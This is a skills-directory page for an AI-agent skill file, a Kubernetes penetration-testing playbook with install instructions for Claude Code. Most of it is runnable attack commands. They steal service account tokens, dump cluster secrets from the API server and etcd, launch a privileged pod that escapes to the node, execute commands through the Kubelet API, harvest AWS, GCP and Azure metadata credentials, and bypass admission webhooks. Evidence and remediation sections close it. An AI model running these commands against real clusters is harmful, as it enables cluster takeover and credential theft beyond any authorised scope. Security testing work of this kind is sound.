Skip to content
Back to skills

Kubernetes Pentesting

DSecurity

Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythongobashnodeexpressdockerkubernetesawsgcpazure

Works with

  • cli
  • api

Security analysis

D46/100
  • mediumUses curl or wget to download content
  • criticalAccesses sensitive system or user directories
  • criticalExfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
  • criticalSends environment variables or credentials to an external URL
  • criticalDownloads and executes remote scripts — classic supply chain attack

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill kubernetes-pentesting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Kubernetes Pentesting?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Kubernetes Pentesting
[![Security: D — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-kubernetes-pentesting/badge)](https://www.skillsdirectory.com/skills/harezadmm-kubernetes-pentesting)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: kubernetes-pentesting
description: >-
  Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.
---

# SKILL: Kubernetes Pentesting — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root
- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions
- [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata

---

## 1. K8S API SERVER ACCESS

### 1.1 Anonymous Access Check

```bash
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)
```

### 1.2 Token-Based Authentication (from inside pod)

```bash
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods
```

### 1.3 Certificate / Kubeconfig Authentication

```bash
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
```

---

## 2. RBAC ENUMERATION

### 2.1 Self-Permission Check

```bash
# What can I do?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# Specific checks
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# Via API (from inside pod):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
```

### 2.2 Role and ClusterRole Enumeration

```bash
kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# Find overprivileged roles (wildcard verbs/resources):
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
```

### 2.3 Dangerous RBAC Permissions

| Permission | Risk | Escalation Path |
|---|---|---|
| `pods/exec` | **Critical** | Exec into any pod (access secrets, tokens) |
| `pods` (create) | **Critical** | Create privileged pod → node access |
| `secrets` (get/list) | **Critical** | Read all secrets including SA tokens |
| `serviceaccounts/token` (create) | **Critical** | Generate token for any SA |
| `nodes/proxy` | **High** | Proxy to Kubelet API |
| `escalate` on roles | **Critical** | Grant yourself any permission |
| `bind` on rolebindings | **Critical** | Bind any role to yourself |
| `impersonate` | **Critical** | Impersonate any user/SA |

---

## 3. SERVICE ACCOUNT TOKEN ABUSE

### 3.1 Token Location and Decoding

```bash
# Default mount point
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Decode JWT (no verification needed)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Shows: namespace, service account name, expiry
```

### 3.2 Escalation via Service Account

```bash
# If SA has elevated permissions — dump secrets, create privileged pod:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF
```

### 3.3 Token Generation

```bash
# If serviceaccounts/token create permission:
kubectl create token admin-sa -n kube-system --duration=87600h
```

---

## 4. ETCD DIRECT ACCESS

```bash
# Check anonymous access (port 2379 on master nodes):
curl -sk https://ETCD_IP:2379/version

# With certs from master node (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# Dump specific secret:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
```

---

## 5. POD ESCAPE TO NODE

### See [container-escape-techniques](../container-escape-techniques/SKILL.md) for detailed escape chains.

Quick reference for K8s-specific vectors:

| Vector | Requirement | Command |
|---|---|---|
| hostPID | `spec.hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` |
| hostNetwork | `spec.hostNetwork: true` | Access node services (Kubelet, etcd) |
| hostPath `/` | Volume mount of host root | `chroot /host bash` |
| Privileged container | `securityContext.privileged: true` | Mount host disk / nsenter |

---

## 6. KUBELET API (Port 10250/10255)

```bash
curl -sk https://NODE_IP:10250/pods        # Anonymous access check
# 10255 = read-only (legacy, HTTP)

# Exec into pod via Kubelet (bypasses API server RBAC):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# Read logs:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
```

---

## 7. CLOUD-SPECIFIC ATTACKS

### 7.1 AWS EKS — IMDS Access

```bash
# From inside a pod (if IMDSv1 or no hop limit enforced):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns IAM role name, then:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (token required):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS-specific: IRSA (IAM Roles for Service Accounts)
# Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
```

### 7.2 GCP GKE — Metadata API

```bash
# GCE metadata server
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Returns OAuth2 access token

# List available scopes
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (if configured):
# The pod's SA is mapped to a GCP SA
# Token automatically available for GCP API calls
```

### 7.3 Azure AKS — Managed Identity

```bash
# Azure IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns Azure access token

# AKS Pod Identity / Workload Identity
# Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
env | grep AZURE
```

---

## 8. ADMISSION WEBHOOK BYPASS

| Strategy | Command/Method |
|---|---|
| Excluded namespace | `kubectl get validatingwebhookconfigurations -o yaml \| grep namespaceSelector` → use excluded NS |
| failurePolicy: Ignore | If webhook server down → admission skipped |
| Ephemeral containers | `kubectl debug POD -it --image=alpine` (may not be covered) |
| Static pods | Place manifest in `/etc/kubernetes/manifests/` on node (bypasses API admission) |

---

## 9. CONTAINER REGISTRY ACCESS

```bash
# Extract pull secrets (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

# Pull + inspect images for hardcoded secrets:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc
```

---

## 10. NETWORK POLICY ENUMERATION & BYPASS

```bash
kubectl get networkpolicies --all-namespaces
# Find namespaces without policies (default allow-all):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
    [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done
```

Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, `hostNetwork: true` bypasses pod network policies entirely.

---

## 11. TOOLS

| Tool | Purpose | Command |
|---|---|---|
| **kubectl** | K8s API interaction | `kubectl auth can-i --list` |
| **kube-hunter** | Automated K8s vulnerability scanning | `kube-hunter --remote TARGET` |
| **peirates** | K8s pentesting from inside a pod | `./peirates` |
| **kubesploit** | Post-exploitation framework for K8s | Agent-based C2 |
| **CDK** | Container/K8s exploitation toolkit | `./cdk evaluate` |
| **kubeletctl** | Interact with Kubelet API directly | `kubeletctl pods -s NODE_IP` |
| **kubeaudit** | Cluster misconfiguration audit | `kubeaudit all` |

---

## 12. KUBERNETES PENTESTING DECISION TREE

```
Access to Kubernetes environment?
│
├── Inside a pod?
│   ├── Read SA token → check RBAC permissions (§2.1)
│   │   ├── Can create pods? → privileged pod escape (§3.2)
│   │   ├── Can read secrets? → dump all secrets (§3.2)
│   │   ├── Can exec into pods? → pivot to other pods
│   │   └── Minimal permissions → try Kubelet API (§6)
│   │
│   ├── Cloud environment?
│   │   ├── AWS → check IMDS for IAM creds (§7.1)
│   │   ├── GCP → check metadata for OAuth token (§7.2)
│   │   └── Azure → check IMDS for managed identity (§7.3)
│   │
│   └── Escape to node? → load container-escape-techniques
│
├── Access to node?
│   ├── kubeconfig found? → full cluster access (§1.3)
│   ├── etcd accessible? → dump all secrets (§4)
│   ├── Kubelet cert/key? → API server access
│   └── Static pod manifests? → create privileged static pod (§8)
│
├── External access only?
│   ├── API server exposed? → anonymous/token check (§1)
│   ├── Kubelet 10250 exposed? → direct pod exec (§6)
│   ├── etcd 2379 exposed? → direct secret dump (§4)
│   └── Dashboard/UI exposed? → authentication bypass
│
├── RBAC escalation path?
│   ├── escalate/bind permissions? → grant cluster-admin (§2.3)
│   ├── impersonate permission? → act as admin (§2.3)
│   ├── serviceaccounts/token create? → mint admin token (§3.3)
│   └── Overprivileged clusterrole? → abuse wildcards (§2.2)
│
└── No direct escalation?
    ├── Enumerate network policies → find unprotected namespaces (§10)
    ├── Check admission webhooks → find bypass (§8)
    ├── Pull registry images → search for secrets (§9)
    └── Scan nodes for exposed services → Kubelet, etcd
```

---

## 13. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Did the probe **return cluster objects**, not a 401 or a redirect? | the exposure exists |
| 2 | What **identity** did the cluster resolve for that request? | the scope of the exposure |
| 3 | Did the control identity **fail the same call**? | escalation, not inherited access |
| 4 | For a token or SA: what **verbs** does it hold, from which binding? | the escalation available and its fix |
| 5 | Did you **read a secret or execute in a pod**, and what did that gate? | impact |
| 6 | For a node-level step: did you **read the node's filesystem or its cloud identity**? | the crossover into infrastructure |
| 7 | For a webhook or network policy: did the **workload actually run**? | the bypass, demonstrated |

**An object the identity should not see is the bar.** Cluster reachability, a 401 on some paths, and a
decoded JWT are all intermediate observations.

---

## 14. EXECUTION PRIMITIVES

Cluster findings are proven by **an API call returning an object, paired with a control call that
fails**. Every block ends at data pulled out of the cluster or a workload that ran.

### 14.1 API server access and identity

```bash
API="https://10.0.0.1:6443"; TOK="PASTE_SA_TOKEN"
# the versions endpoint is the least invasive confirmation that the API answers
curl -sk "$API/version" | head -c 200; echo
# who does the cluster think you are
curl -sk "$API/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \
  -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}' | head -c 300; echo
# and the control: the same call with no credential, and with a token you know is low-privilege
curl -sk -o /dev/null -w 'anon       %{http_code}\n' "$API/api/v1/namespaces"
curl -sk -o /dev/null -w 'with-token %{http_code}\n' -H "Authorization: Bearer $TOK" "$API/api/v1/namespaces"
```

**Do the control pair before any resource access.** The permission delta between anonymous, your token,
and the baseline token is the finding's shape.

### 14.2 RBAC enumeration, exhaustively

```bash
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify auth can-i --list 2>/dev/null | head -40
# raw API equivalent, when kubectl is not available on the target
curl -sk -H "Authorization: Bearer $TOK" "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -X POST -H 'Content-Type: application/json' \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}' \
  | head -c 600; echo
# and the bindings that created each right - the fix location
for CRB in $(kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get clusterrolebindings -o name 2>/dev/null | head -20); do
  kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get "$CRB" -o jsonpath='{.metadata.name}{" "}{.roleRef.name}{" "}{.subjects[*].name}{"\n"}' 2>/dev/null
done
```

**Map each right to its binding.** "The SA can list secrets" is a symptom; "the SA is bound to
`secret-reader` via `ClusterRoleBinding/ci-deployer`" is the finding with its fix attached.

### 14.3 Service-account token abuse, ending at a use

```bash
# in-cluster tokens and where they come from
ls -la /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
# the API's own view of the SA, which names its bindings
SA=$(cat /var/run/secrets/kubernetes.io/serviceaccount/service-account.name 2>/dev/null || echo default)
curl -sk -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  "$API/api/v1/namespaces/default/serviceaccounts/$SA" | head -c 400; echo
# the secret objects, which often hold a more privileged SA's token
kubectl --server="$API" --token="$TOK" --insecure-skip-tls-verify get secrets -A -o json 2>/dev/null | python3 -c "
import json,sys,base64
d=json.load(sys.stdin)
n=0
for s in d.get('items',[]):
    ann=s['metadata'].get('annotations',{})
    if 'service-account.name' in ann and 'token' in s.get('data',{}):
        t=base64.b64decode(s['data']['token']).decode()
        print('SA:',ann['service-account.name'],'| ns:',s['metadata']['namespace'],'| jwt:',t.count('.')==2)
        n+=1
print('service-account token secrets visible:',n)"
# and USE a token rather than stopping at the discovery
curl -sk -H "Authorization: Bearer $FOUND_TOKEN" "$API/api/v1/namespaces/kube-system/secrets?limit=1" | head -c 300; echo
```

**The use of the token is the finding.** Discovering that secrets of type `kubernetes.io/service-account-token`
exist is the default state of most clusters.

### 14.4 etcd direct access

```bash
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify endpoint status -w table
# the whole cluster state, keys only first, then the secrets specifically
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify get / --prefix --keys-only 2>/dev/null | head -20
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify \
  get /registry/secrets --prefix --keys-only 2>/dev/null | head -20
# a single secret, which is where the impact is
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 --insecure-skip-tls-verify \
  get "/registry/secrets/kube-system/PASTE_NAME" 2>/dev/null | strings | head -20
```

**Reading a secret out of etcd is control-plane compromise.** Note that `--insecure-skip-tls-verify`
succeeding at all is itself the finding: etcd should require mutual TLS.

### 14.5 Node-level access and pod escape

```bash
# kubelet: read pods, then exec into one - the exec is the escalation
curl -sk "https://NODE_IP:10250/pods" | head -c 300; echo
curl -sk "https://NODE_IP:10255/pods" | head -c 300; echo
curl -sk "https://NODE_IP:10250/exec/default/PASTE_POD/PASTE_CONTAINER?command=id&command=-a&output=1" | head -c 300; echo
# from inside a pod, identify the escape surface
capsh --print 2>/dev/null | head -5; ls /var/run/docker.sock 2>/dev/null && echo "docker sock present"
mount | grep -E 'hostpath|/host|/var/lib/kubelet' | head -5
# and the standard escapes, each proved by reading the NODE's filesystem
nsenter -t 1 -m -u -i -n -p -- cat /etc/hostname 2>/dev/null || echo "nsenter unavailable or unprivileged"
ls /host/etc/hostname 2>/dev/null && cat /host/etc/hostname
```

**Reading the node's `/etc/hostname` or its filesystem is the proof of escape.** A capability list or a
mounted socket is the surface; the node read is the effect.

### 14.6 Webhook bypass, demonstrated by the workload

```bash
kubectl get validatingwebhookconfigurations -o json | python3 -c "
import json,sys
for w in json.load(sys.stdin)['items']:
    for wh in w.get('webhooks',[]):
        print(w['metadata']['name'],'| fail:',wh.get('failurePolicy'),
              '| nsSel:',wh.get('namespaceSelector',{}).get('matchExpressions'),
              '| kinds:',[r.get('resources') for r in wh.get('rules',[])])"
# bypass 1: a namespace the selector excludes
kubectl -n kube-public apply -f /tmp/priv-pod.yaml 2>&1 | head -2
kubectl -n kube-public get pods -o jsonpath='{.items[*].metadata.name}{"\n"}' 2>/dev/null
# bypass 2: a workload kind the webhook does not match
kubectl -n "$NS" apply -f /tmp/cronjob.yaml 2>&1 | head -2
kubectl -n "$NS" get cronjobs 2>/dev/null
# bypass 3: labeling a namespace into an exclusion, if you hold that permission
kubectl --token="$TOK" label ns "$NS" policy=exempt --overwrite 2>&1 | head -2
```

**The created workload appearing in the cluster is the evidence.** A policy that should have rejected
your privileged pod, and did not, is the finding.

### 14.7 Network policy, tested rather than inferred

```bash
kubectl get networkpolicies -A 2>/dev/null | head -20
# the test is a cross-namespace connection that should be denied but is not
kubectl -n "$NS" run nettest --rm -it --image=nicolaka/netshoot --restart=Never -- \
  bash -c 'timeout 5 nc -zv TARGET_SVC.other-ns.svc.cluster.local 5432; echo "exit=$?"' 2>&1 | tail -5
# and the control: a connection that SHOULD work, to prove the tool works
kubectl -n "$NS" run netctrl --rm -it --image=nicolaka/netshoot --restart=Never -- \
  bash -c 'timeout 5 nc -zv kubernetes.default.svc 443; echo "exit=$?"' 2>&1 | tail -3
```

**A network policy finding needs the reachable control too.** Without it, a blocked connection and a
broken tool are indistinguishable.

### 14.8 A harness that records every step's identity

```bash
python3 - <<'PY'
import subprocess
API="https://10.0.0.1:6443"; TOK="PASTE"
def sh(name,cmd):
    try: r=subprocess.run(cmd,capture_output=True,text=True,timeout=30)
    except Exception as e: return print(f"{name:24} ERR"),None
    code=r.stdout.strip()[:20] or r.stderr.strip()[:40]
    print(f"{name:24} {code}")
    return r.stdout
sh("anon-namespaces",   ["curl","-sk","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/namespaces"])
sh("anon-pods",         ["curl","-sk","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/pods"])
sh("token-self-review", ["curl","-sk","-H",f"Authorization: Bearer {TOK}","-o","/dev/null","-w","%{http_code}",f"{API}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"])
sh("token-secrets",     ["curl","-sk","-H",f"Authorization: Bearer {TOK}","-o","/dev/null","-w","%{http_code}",f"{API}/api/v1/namespaces/kube-system/secrets"])
sh("kubelet-10250",     ["curl","-sk","-o","/dev/null","-w","%{http_code}","https://NODE:10250/pods"])
sh("kubelet-10255",     ["curl","-sk","-o","/dev/null","-w","%{http_code}","https://NODE:10255/pods"])
print()
print("For every 200, follow with: the identity resolved, an object read, and a control without the credential.")
print("A 403 on a path is a closed door - record it, do not omit it.")
PY
```

**Every positive needs its control.** In clusters the most common inflation is reporting the anonymous
`system:discovery` surface as an exposure when it is the built-in design.

---

## 15. EVIDENCE STANDARD

| Item | Why |
|---|---|
| The **endpoint, verb, and request** with credentials redacted | reproducibility |
| The **resolved identity** (`selfsubjectreview` / `whoami`) | the scope |
| The **returned object count**, and a redacted sample | proof without leaking secrets |
| The **failing control request** | proves escalation |
| The **binding and role** behind any permission | the fix location |
| For etcd: that **authenticated TLS was not required** | the misconfiguration itself |
| For a node read: **the node file or command output** retrieved | escape proved, not inferred |
| For a webhook bypass: the **selector gap** and the **running workload** | cause and effect |
| **Audit fields** (`user.username`, `verb`, `objectRef`, `responseStatus`) | the blue-team half |
| Confirmation that **test workloads were removed** and **labels reverted** | engagement integrity |

Report the **access and the reach**: "an unauthenticated request to
`https://10.0.0.1:6443/api/v1/pods` returned `200` with 214 pods across all namespaces, including the
`kube-system` control-plane pods; the same request with the project's CI ServiceAccount token is `403`,
so the gap is the anonymous group binding, not the token; the binding is
`ClusterRoleBinding/system:public-info-viewer` extended with a project-added `view` ClusterRole", never
"the cluster is misconfigured".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| `200` on `/version`, `/healthz`, `/livez` | public by design |
| Anonymous access to `system:discovery` API groups | the built-in unauthenticated surface |
| A token that exists but **has no bindings** | no access results |
| A `service-account-token` secret that exists | normal on many versions; check what it can do |
| A 401/403 on all resource paths | the expected secure state |
| `metrics` readable on the kubelet | often by design; examine what it exposes before reporting |
| A webhook that exists with an **enforced** policy | test the bypass outcome, do not infer it |
| A NetworkPolicy that exists but which you **did not test** | presence is not enforcement |
| A **privileged container in a lab cluster you built** | tests your own environment |
| A cluster-admin credential provided in the engagement scope | not a discovered escalation |
| A secret value reproduced in full | a disclosure |
| Reachability with **no object returned** | not access |

**Two calls minimum: the one that works, and the one that should have worked and did not.**

---

## 16. REMEDIATION REFERENCE

1. **Disable anonymous authentication on the API server and the kubelet, and remove every anonymous binding** - the exposure at the top of this document is one flag.
2. **Never expose `10255`, require authentication and authorization on `10250`, and disable the kubelet's read-only port in the config file** - the read-only port has no authorization layer at all.
3. **Require mutual TLS on etcd, bind it to the control-plane network only, and never expose `2379`** - etcd is a plaintext store of every secret in the cluster.
4. **Encrypt secrets at rest with a KMS provider and rotate the key** - it bounds the value of an etcd snapshot or a stolen volume.
5. **Set `automountServiceAccountToken: false` as the default and opt in per workload** - most workloads never call the API, so the token is pure attack surface.
6. **Grant least privilege per ServiceAccount, and never bind `*` verbs or `*` resources** - a wildcard ClusterRole is cluster-admin under another name.
7. **Guard the escalation verbs (`create pods/exec`, `portforward`, `impersonate`, `escalate`, `bind`, `create clusterrolebindings`) with explicit policy and alerting** - these are the direct paths to cluster control.
8. **Adopt a restricted Pod Security Standard and enforce it with a fail-closed admission policy** - it blocks privileged containers, host namespaces, and host path mounts, which are the prerequisites for nearly every escape.
9. **Fix admission webhook selectors to cover all namespaces, all workload kinds, and set `failurePolicy: Fail`** - the bypasses in this document are gaps in those three fields.
10. **Write a default-deny NetworkPolicy per namespace, and test it rather than assuming it** - an untested policy is a document, not a control.
11. **Keep Kubernetes and the container runtime patched, and shorten ServiceAccount token lifetimes** - it closes the published escapes and bounds the value of a stolen token.

---

## 17. RELATED SIBLINGS - LOAD TOGETHER

- [k8s-assessment](../k8s-assessment/SKILL.md) - the exposure-assessment counterpart to this exploitation guide
- [container-escape-techniques](../container-escape-techniques/SKILL.md) - the container-to-node escalation this enables
- [k8s-postexploit](../k8s-postexploit/SKILL.md) - the cluster-to-cloud pivot after a foothold
- [cloud-assessment](../cloud-assessment/SKILL.md) - the cloud identity a node role reaches
- [aws-postexploit](../aws-postexploit/SKILL.md) - where an instance role leads in AWS specifically

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.